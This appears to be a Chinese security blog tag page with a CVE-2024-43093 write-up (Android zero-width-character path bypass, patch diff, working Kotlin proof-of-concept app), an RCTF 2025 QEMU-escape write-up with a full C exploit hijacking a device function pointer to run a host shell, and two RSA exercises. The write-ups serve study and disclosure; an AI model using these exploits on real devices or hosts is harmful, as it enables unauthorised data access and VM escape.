包含关键字 Pwn 的文章

简介

CVE‑2024‑43093 是一个 Android 框架组件中的权限提升漏洞,其成因核心是文件路径过滤器在处理包含 Unicode 字符的路径时存在逻辑问题。出人意料的是,至今仍有不少安卓设备没有修复这个漏洞。使用 DuckDetector 可以检测这个漏洞在当前设备上是否修补。

成因

产生问题的代码位于 com/android/externalstorage/ExternalStorageProvider.java 中的 shouldHideDocument 函数。路径检查逻辑首先对文件路径进行规范化,本意是为了能正确匹配过滤规则,防止特殊字符注入。但是这种规范化不能防范所有字符的情况,例如零宽空格。如果在访问路径中插入零宽空格,那么就能绕过这个过滤规则,读写 /sdcard/Android/{data,obb}/<package> 任意目录。

修复

Google 早在 2024 年已修复这个漏洞,将路径过滤规则从简单的正则匹配改为使用 Java File 逐级遍历验证路径是否相同。Pixel、三星等品牌的手机自此已不受该漏洞影响。修复 patch diff 如下:

@@ -16,8 +16,6 @@
 
 package com.android.externalstorage;
 
-import static java.util.regex.Pattern.CASE_INSENSITIVE;
-
 import android.annotation.NonNull;
 import android.annotation.Nullable;
 import android.app.usage.StorageStatsManager;
@@ -61,12 +59,15 @@
 import java.io.FileNotFoundException;
 import java.io.IOException;
 import java.io.PrintWriter;
+import java.nio.file.Files;
+import java.nio.file.Paths;
+import java.util.Arrays;
 import java.util.Collections;
 import java.util.List;
 import java.util.Locale;
 import java.util.Objects;
 import java.util.UUID;
-import java.util.regex.Pattern;
+import java.util.stream.Collectors;
 
 /**
  * Presents content of the shared (a.k.a. "external") storage.
@@ -89,12 +90,9 @@
     private static final Uri BASE_URI =
             new Uri.Builder().scheme(ContentResolver.SCHEME_CONTENT).authority(AUTHORITY).build();
 
-    /**
-     * Regex for detecting {@code /Android/data/}, {@code /Android/obb/} and
-     * {@code /Android/sandbox/} along with all their subdirectories and content.
-     */
-    private static final Pattern PATTERN_RESTRICTED_ANDROID_SUBTREES =
-            Pattern.compile("^Android/(?:data|obb|sandbox)(?:/.+)?", CASE_INSENSITIVE);
+    private static final String PRIMARY_EMULATED_STORAGE_PATH = "/storage/emulated/";
+
+    private static final String STORAGE_PATH = "/storage/";
 
     private static final String[] DEFAULT_ROOT_PROJECTION = new String[] {
             Root.COLUMN_ROOT_ID, Root.COLUMN_FLAGS, Root.COLUMN_ICON, Root.COLUMN_TITLE,
@@ -309,11 +307,70 @@
             return false;
         }
 
-        final String path = getPathFromDocId(documentId);
-        return PATTERN_RESTRICTED_ANDROID_SUBTREES.matcher(path).matches();
+        try {
+            final RootInfo root = getRootFromDocId(documentId);
+            final String canonicalPath = getPathFromDocId(documentId);
+            return isRestrictedPath(root.rootId, canonicalPath);
+        } catch (Exception e) {
+            return true;
+        }
     }
 
     /**
+     * Based on the given root id and path, we restrict path access if file is Android/data or
+     * Android/obb or Android/sandbox or one of their subdirectories.
+     *
+     * @param canonicalPath of the file
+     * @return true if path is restricted
+     */
+    private boolean isRestrictedPath(String rootId, String canonicalPath) {
+        if (rootId == null || canonicalPath == null) {
+            return true;
+        }
+
+        final String rootPath;
+        if (rootId.equalsIgnoreCase(ROOT_ID_PRIMARY_EMULATED)) {
+            // Creates "/storage/emulated/<user-id>"
+            rootPath = PRIMARY_EMULATED_STORAGE_PATH + UserHandle.myUserId();
+        } else {
+            // Creates "/storage/<volume-uuid>"
+            rootPath = STORAGE_PATH + rootId;
+        }
+        List<java.nio.file.Path> restrictedPathList = Arrays.asList(
+                Paths.get(rootPath, "Android", "data"),
+                Paths.get(rootPath, "Android", "obb"),
+                Paths.get(rootPath, "Android", "sandbox"));
+        // We need to identify restricted parent paths which actually exist on the device
+        List<java.nio.file.Path> validRestrictedPathsToCheck = restrictedPathList.stream().filter(
+                Files::exists).collect(Collectors.toList());
+
+        boolean isRestricted = false;
+        java.nio.file.Path filePathToCheck = Paths.get(rootPath, canonicalPath);
+        try {
+            while (filePathToCheck != null) {
+                for (java.nio.file.Path restrictedPath : validRestrictedPathsToCheck) {
+                    if (Files.isSameFile(restrictedPath, filePathToCheck)) {
+                        isRestricted = true;
+                        Log.v(TAG, "Restricting access for path: " + filePathToCheck);
+                        break;
+                    }
+                }
+                if (isRestricted) {
+                    break;
+                }
+
+                filePathToCheck = filePathToCheck.getParent();
+            }
+        } catch (Exception e) {
+            Log.w(TAG, "Error in checking file equality check.", e);
+            isRestricted = true;
+        }
+
+        return isRestricted;
+    }
+
+
+    /**
      * Check that the directory is the root of storage or blocked file from tree.
      * <p>
      * Note, that this is different from hidden documents: blocked documents <b>WILL</b> appear

但不知为什么,许多国内安卓手机并没有合并这个补丁(?)。相对实用的修复可以参考 5ec1cff 编写的 Xposed 模块。出于好奇我用 jadx 逆向分析了一下,这个模块在 Xposed entry 中对 com.android.providers.media.module 注入了一个动态链接库 fusefixer.so

    public void handleLoadPackage(XC_LoadPackage.LoadPackageParam loadPackageParam) {
        if ("com.android.providers.media.module".equals(loadPackageParam.packageName) || "com.google.android.providers.media.module".equals(loadPackageParam.packageName)) {
            System.loadLibrary("fusefixer");
            Log.d("FuseFixer", "injected");
            new Handler(Looper.getMainLooper()).post(new RunnableC0016i(0, this));
        }
    }

在其中又 hook 了 libfuse_jni.so 中的 is_package_owned_pathis_app_accessible_pathis_bpf_backing_path。替换后的函数做了以下操作:

  1. 先判断输入字符串是否包含需要处理的 Unicode 字符;
  2. 如果需要处理,复制出一份可写字符串,扫描该字符串并移除非法字符;
  3. 调用原始函数,修改传入参数为清洗后的字符串。

据说小米在 2026 年一月更新中合并了 patch,但我的设备更新后依旧没有修复这个漏洞。

复现

由于这是一个披露已久的漏洞,所以应该可以展示复现过程。其实只需要简单编写一个类似文件管理器的程序,让用户输入路径支持 Unicode 转义符或自行插入零宽 Unicode 字符就可以了。我在目前最新的澎湃 OS 3.0.5.0 仍能复现这个漏洞。

package cn.pwnerik.pathescape

import android.os.Bundle
import androidx.activity.ComponentActivity
import androidx.activity.compose.setContent
import androidx.activity.enableEdgeToEdge
import androidx.compose.foundation.clickable
import androidx.compose.foundation.layout.*
import androidx.compose.foundation.lazy.LazyColumn
import androidx.compose.foundation.lazy.items
import androidx.compose.material3.*
import androidx.compose.runtime.*
import androidx.compose.ui.Alignment
import androidx.compose.ui.Modifier
import androidx.compose.ui.text.TextRange
import androidx.compose.ui.text.input.TextFieldValue
import androidx.compose.ui.tooling.preview.Preview
import androidx.compose.ui.unit.dp
import cn.pwnerik.pathescape.ui.theme.PathEscapeTheme
import java.io.File

class MainActivity : ComponentActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        enableEdgeToEdge()
        setContent {
            PathEscapeTheme {
                Scaffold(modifier = Modifier.fillMaxSize()) { innerPadding ->
                    FileExplorer(
                        modifier = Modifier.padding(innerPadding)
                    )
                }
            }
        }
    }
}

fun unescapeUnicode(input: String): String {
    val regex = Regex("\\\\u([0-9a-fA-F]{4})")
    return regex.replace(input) {
        try {
            it.groupValues[1].toInt(16).toChar().toString()
        } catch (_: Exception) {
            it.value
        }
    }
}

fun escapeUnicode(input: String): String {
    val sb = StringBuilder()
    for (char in input) {
        if (char.code !in 32..126) {
            sb.append(String.format("\\u%04x", char.code))
        } else {
            sb.append(char)
        }
    }
    return sb.toString()
}

@Composable
fun FileExplorer(modifier: Modifier = Modifier) {
    var pathValue by remember { mutableStateOf(TextFieldValue("")) }
    var files by remember { mutableStateOf(listOf<File>()) }
    var parentDir by remember { mutableStateOf<File?>(null) }
    var errorMessage by remember { mutableStateOf<String?>(null) }
    var hasStarted by remember { mutableStateOf(false) }

    fun listFiles(path: String) {
        val decodedPath = unescapeUnicode(path)
        val directory = File(decodedPath)
        
        // Always update the input box to show the normalized escaped path
        val escapedPath = escapeUnicode(directory.absolutePath)
        pathValue = TextFieldValue(
            text = escapedPath,
            selection = TextRange(escapedPath.length)
        )

        try {
            if (directory.exists() && directory.isDirectory) {
                val list = directory.listFiles()
                files = list?.toList()?.sortedWith(compareBy({ !it.isDirectory }, { it.name.lowercase() })) ?: emptyList()
                parentDir = directory.parentFile
                errorMessage = null
                hasStarted = true
            } else {
                errorMessage = "无效的目录路径: $decodedPath"
                files = emptyList()
                parentDir = null
            }
        } catch (e: Exception) {
            errorMessage = "错误: ${e.message}"
            files = emptyList()
            parentDir = null
        }
    }

    fun insertAtCursor(textToInsert: String) {
        val text = pathValue.text
        val selection = pathValue.selection
        val newText = text.take(selection.start) + textToInsert + text.substring(selection.end)
        val newCursorPosition = selection.start + textToInsert.length
        pathValue = TextFieldValue(
            text = newText,
            selection = TextRange(newCursorPosition)
        )
    }

    Column(
        modifier = modifier
            .fillMaxSize()
            .padding(16.dp)
    ) {
        Row(
            modifier = Modifier.fillMaxWidth(),
            verticalAlignment = Alignment.CenterVertically
        ) {
            TextField(
                value = pathValue,
                onValueChange = { pathValue = it },
                modifier = Modifier.weight(1f),
                label = { Text("目录路径") },
                singleLine = true
            )
            Spacer(modifier = Modifier.width(8.dp))
            Button(onClick = { listFiles(pathValue.text) }) {
                Text("列出")
            }
        }

        Spacer(modifier = Modifier.height(8.dp))

        Row(
            modifier = Modifier.fillMaxWidth(),
            horizontalArrangement = Arrangement.spacedBy(8.dp)
        ) {
            OutlinedButton(onClick = { insertAtCursor("/storage/emulated/0") }) {
                Text("主目录")
            }
            OutlinedButton(onClick = { insertAtCursor("\\u200d") }) {
                Text("零宽空格")
            }
            OutlinedButton(onClick = { pathValue = TextFieldValue("", TextRange.Zero) }) {
                Text("清空")
            }
        }

        Spacer(modifier = Modifier.height(16.dp))

        if (errorMessage != null) {
            Text(
                text = errorMessage!!,
                color = MaterialTheme.colorScheme.error,
                modifier = Modifier.padding(bottom = 8.dp)
            )
        }

        LazyColumn(modifier = Modifier.fillMaxSize()) {
            // Add parent directory link if not at root and after first listing
            if (hasStarted && parentDir != null) {
                item {
                    FileItem(
                        name = "..",
                        isDirectory = true,
                        onClick = { listFiles(parentDir!!.absolutePath) }
                    )
                    HorizontalDivider(modifier = Modifier.padding(vertical = 4.dp), thickness = 0.5.dp)
                }
            }
            
            items(files) { file ->
                FileItem(
                    name = file.name,
                    isDirectory = file.isDirectory,
                    onClick = {
                        if (file.isDirectory) {
                            listFiles(file.absolutePath)
                        }
                    }
                )
                HorizontalDivider(modifier = Modifier.padding(vertical = 4.dp), thickness = 0.5.dp)
            }
        }
    }
}

@Composable
fun FileItem(name: String, isDirectory: Boolean, onClick: () -> Unit) {
    val type = if (isDirectory) "[目录] " else "[文件] "
    Text(
        text = "$type$name",
        modifier = Modifier
            .fillMaxWidth()
            .clickable(onClick = onClick)
            .padding(vertical = 12.dp),
        style = MaterialTheme.typography.bodyLarge
    )
}

@Preview(showBackground = true)
@Composable
fun FileExplorerPreview() {
    PathEscapeTheme {
        FileExplorer()
    }
}

复现截图

RCTF 2025 pwn,mstr 之后再复现一个相对简单的 qemu escape bbox,如果有空的话再看看那个 v8pwn。(画饼ing

Challenge

附件 docker archive 中 qemu-system-x86_64 实现了一个自定义 PCI 设备 virtsec-device。借助 AI 可以很快还原两个关键的结构体:

00000000 struct block // sizeof=0x18
00000000 {
00000000     unsigned int id;
00000004     unsigned int size;
00000008     unsigned int _pad1;
0000000C     unsigned int offset;
00000010     unsigned int _pad2;
00000014     unsigned __int8 encrypted;
00000015     unsigned __int8 valid;
00000016     unsigned __int8 _pad3[2];
00000018 };

00000000 struct virtsec_device // sizeof=0x10E8
00000000 {
00000000     unsigned __int8 _pad0[3024];
00000BD0     unsigned int status;
00000BD4     unsigned int session_id;
00000BD8     unsigned int error_code;
00000BDC     unsigned __int8 _pad1[32];
00000BFC     unsigned int alloc_size;
00000C00     unsigned int _pad2[2];
00000C08     struct block blocks[16];
00000D88     unsigned int _pad3;
00000D8C     unsigned int current_id;
00000D90     unsigned int merge_id1;
00000D94     unsigned int merge_id2;
00000D98     unsigned __int8 data[256];
00000E98     void (*func_ptr)(void *);
00000EA0     void *func_arg;
00000EA8     unsigned __int8 _pad4[256];
00000FA8     unsigned __int8 key_buffer[256];
000010A8     unsigned int reg_10A8;
000010AC     unsigned __int8 _pad6[36];
000010D0     unsigned __int64 reg_10D0;
000010D8     unsigned __int64 reg_10D8;
000010E0     unsigned __int64 reg_10E0;
000010E8 };

之后的逆向就比较轻松了。可以看到这个设备在 256 字节的空间里管理 16 个 blocks,每个块初始大小最高 0x10,但可以通过 merge 命令合并两个及多个块,直至 256 字节。设备还有 gift 寄存器,向其中写入任意内容后,设备将在设备结构体中紧随 data 之后分别写入 printf 函数指针和一个字符串指针,再次触发 gift 就会将后者作为首个参数执行前者。(另外还有 session、神秘 command 3 和 xor 加解密,不知道能干啥。)

这个 PCI 设备通过 MMIO 交互,我们可以在 virtsec_class_init 找到 Vendor ID 0x1234和 Device ID 0x5678。在 qemu 虚拟机内执行 lspci 查询 PCI resource 路径(00:04.0 Class 0580: 1234:5678)。

出题人非常贴心的在每个操作都输出了 log,要想看到 qemu_log 输出便于调试,可以添加 qemu 命令行参数 -d guest_errors -D qemu.logqemu_loglevel_mask_64(2048)LOG_GUEST_ERROR)。

Bug

问题出在块合并,merge 似乎没有任何长度检查,只要分配大于 16 个块合并在一起就能轻松拿到大于 256 字节的块,从而越界读写 gift。virtsec_free_block 提示 UAF 但其实应该没有。

Exploit

只需要将函数指针改成 system,参数改成 sh 就好了。然而由于某些神秘原因,直接向 offset 256 写入的话 qemu 就直接爆了(?

不过块合并时自然也会复制数据的,所以就改成先在小块里写好这两个数据然后越界合并覆盖就好。free block 竟然只能全部 reset,那只好重新 merge 一遍了。

有点不懂为什么 escape 之后又打印出 welcome to RCTF2025!This is my gift!hello,可能是 pwntools 的问题吧(

Exp:

#include <fcntl.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>

#define REG_CMD 0x0C
#define REG_ID 0x14
#define REG_SIZE 0x18
#define REG_MERGE1 0x30
#define REG_MERGE2 0x34
#define REG_GIFT 0x38

#define CMD_SESSION 1
#define CMD_ALLOC 2
#define CMD_SELECT 3
#define CMD_MERGE 4
#define CMD_RESET 6

int fd;
volatile void *mmio_ptr;

static void write_reg32(int offset, uint32_t value) {
    *(volatile uint32_t *)(mmio_ptr + offset) = value;
}

static void trig_gift() { write_reg32(REG_GIFT, 0xcafebabe); }

// static void new_session() { write_reg32(REG_CMD, CMD_SESSION); }

static void alloc_blk(uint32_t id, uint32_t size) {
    write_reg32(REG_ID, id);
    write_reg32(REG_SIZE, size);
    write_reg32(REG_CMD, CMD_ALLOC);
}

static void select_blk(uint32_t id) {
    write_reg32(REG_ID, id);
    // write_reg(REG_CMD, CMD_SELECT);
}

static void merge_blk(uint32_t id1, uint32_t id2) {
    write_reg32(REG_MERGE1, id1);
    write_reg32(REG_MERGE2, id2);
    write_reg32(REG_CMD, CMD_MERGE);
}

static void dev_res() { write_reg32(REG_CMD, CMD_RESET); }

static uint32_t read_data32(size_t offset) {
    return *(volatile uint32_t *)(mmio_ptr + 0x1000 + offset);
}

static uint64_t read_data64(size_t offset) {
    uint32_t low32 = read_data32(offset);
    uint32_t high32 = read_data32(offset + 4);
    return ((uint64_t)high32 << 32) | low32;
}

static void write_data32(size_t offset, uint32_t data) {
    *(volatile uint32_t *)(mmio_ptr + 0x1000 + offset) = data;
}

static void write_data64(size_t offset, uint64_t data) {
    write_data32(offset, (uint32_t)data);
    write_data32(offset + 4, (uint32_t)(data >> 32));
}

int main(void) {
    fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR);
    if (fd < 0) {
        perror("open");
        exit(EXIT_FAILURE);
    }
    puts("[*] Device opened.");
    mmio_ptr = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
    if (mmio_ptr == MAP_FAILED) {
        perror("mmap");
        exit(EXIT_FAILURE);
    }
    puts("[*] MMIO mmaped.");

    // new_session();
    for (size_t i = 0; i < 16; ++i) {
        alloc_blk(i, 0x10);
    }
    puts("[*] Blocks allocated.");
    for (size_t i = 1; i < 16; ++i) {
        merge_blk(0, i);
    }
    puts("[*] Blocks merged.");
    alloc_blk(1, 0x10);
    merge_blk(0, 1);
    puts("[+] Block merged overflow.");

    trig_gift();
    select_blk(0);
    size_t host_system_addr =
        read_data64(256) - 0xf980;                    // glibc system - printf
    size_t host_sh_addr = host_system_addr - 0x38761; // glibc "sh" - system
    printf("[+] Host `system` address: 0x%lx\n", host_system_addr);
    printf("[+] Host `\"sh\"` address: 0x%lx\n", host_sh_addr);

    dev_res();
    puts("[*] Reset.");
    for (size_t i = 0; i < 16; ++i) {
        alloc_blk(i, 0x10);
    }
    puts("[*] Blocks allocated.");
    for (size_t i = 1; i < 16; ++i) {
        merge_blk(0, i);
    }
    puts("[*] Blocks merged.");
    alloc_blk(1, 0x10);
    select_blk(1);
    write_data64(0, host_system_addr);
    write_data64(8, host_sh_addr);
    merge_blk(0, 1);
    puts("[+] Gift rewritten.");

    trig_gift();

    munmap((void *)mmio_ptr, 0x2000);
    close(fd);
    return 0;
}

直接读写 MMIO 的指针一定要 ➕ volatile,否则可能被编译器优化掉。

题目一

Project Euler RSA Encryption Problem 182

链接:https://projecteuler.net/problem=182

RSA 有可能存在加密但没有加密的情况。

起初遍历所有可能的消息并逐个加密来计算 unconsealed messages count。后来发现有以下公式:

$$ N = (1 + \gcd(e-1, p-1)) \times (1 + \gcd(e-1, q-1)) $$

from gmpy2 import gcd

p = 1009
q = 3643
phi = (p - 1) * (q - 1)

min_unconcealed = p * q
candidates = []

for e in range(3, phi, 2):
    if gcd(e, phi) != 1:
        continue
    count = (1 + gcd(e - 1, p - 1)) * (1 + gcd(e - 1, q - 1))
    if count < min_unconcealed:
        min_unconcealed = count
        candidates = [e]
    elif count == min_unconcealed:
        candidates.append(e)

print(f"min_unconcealed: {min_unconcealed}")
print("e:", end=" ")

for e in candidates[:50]:
    print(f'{e} ', end='')
print()

题目二

Implement RSA

链接:https://www.cryptopals.com/sets/5/challenges/39

只是实现一个简单的 RSA,要求手写 exgcd 和 modinv,那就手写吧。

from gmpy2 import next_prime, powmod
from secrets import randbits
from Crypto.Util.number import bytes_to_long


def gcd(a, b):
    while b != 0:
        a, b = b, a % b
    return a


def ex_gcd(a, b):
    if b == 0:
        return 1, 0
    else:
        x1, y1 = ex_gcd(b, a % b)
        x = y1
        y = x1 - (a // b) * y1
        return x, y


def inverse(a, m):
    x, _ = ex_gcd(a, m)
    return (x % m + m) % m


e = 3
while True:
    p = next_prime(randbits(64))
    q = next_prime(randbits(64))
    n = p * q
    phi = (p - 1) * (q - 1)
    if gcd(e, phi) == 1:
        break

m = bytes_to_long(b'pwnerik.cn')
assert 0 <= m < n
c = powmod(m, e, n)

d = inverse(e, phi)
msg = powmod(c, d, n)
assert m == msg

这个实现有很多问题,例如 e、p、q 太小。